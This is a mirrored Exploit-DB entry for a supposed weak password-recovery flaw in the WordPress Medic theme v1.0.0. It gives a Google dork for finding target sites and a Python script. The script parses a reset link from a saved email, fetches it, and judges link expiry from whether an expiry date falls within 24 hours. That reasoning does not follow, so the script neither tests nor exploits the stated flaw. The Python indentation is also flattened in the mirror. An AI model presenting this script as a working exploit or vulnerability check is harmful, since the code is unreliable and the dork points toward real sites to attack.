WordPress Theme Medic v1.0.0 – Weak Password Recovery Mechanism for Forgotten Password - 体验盒子

作者： Amirhossein Bahramizadeh

日期： 2023-06-19

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/51531/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

# Exploit Title: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password

# Dork: inurl:/wp-includes/class-wp-query.php

# Date: 2023-06-19

# Exploit Author: Amirhossein Bahramizadeh

# Category : Webapps

# Vendor Homepage: https://www.templatemonster.com/wordpress-themes/medic-health-and-medical-clinic-wordpress-theme-216233.html

# Version: 1.0.0 (REQUIRED)

# Tested on: Windows/Linux

# CVE: CVE-2020-11027

import requests

from bs4 import BeautifulSoup

from datetime import datetime, timedelta

# Set the WordPress site URL and the user email address

site_url = 'https://example.com'

user_email = 'user@example.com'

# Get the password reset link from the user email

# You can use any email client or library to retrieve the email

# In this example, we are assuming that the email is stored in a file named 'password_reset_email.html'

with open('password_reset_email.html', 'r') as f:

email = f.read()

soup = BeautifulSoup(email, 'html.parser')

reset_link = soup.find('a', href=True)['href']

print(f'Reset Link: {reset_link}')

# Check if the password reset link expires upon changing the user password

response = requests.get(reset_link)

if response.status_code == 200:

# Get the expiration date from the reset link HTML

soup = BeautifulSoup(response.text, 'html.parser')

expiration_date_str = soup.find('p', string=lambda s: 'Password reset link will expire on' in s).text.split('on ')[1]

expiration_date = datetime.strptime(expiration_date_str, '%B %d, %Y %I:%M %p')

print(f'Expiration Date: {expiration_date}')

# Check if the expiration date is less than 24 hours from now

if expiration_date < datetime.now() + timedelta(hours=24):

print('Password reset link expires upon changing the user password.')

else:

print('Password reset link does not expire upon changing the user password.')

else:

print(f'Error fetching reset link: {response.status_code} {response.text}')

exit()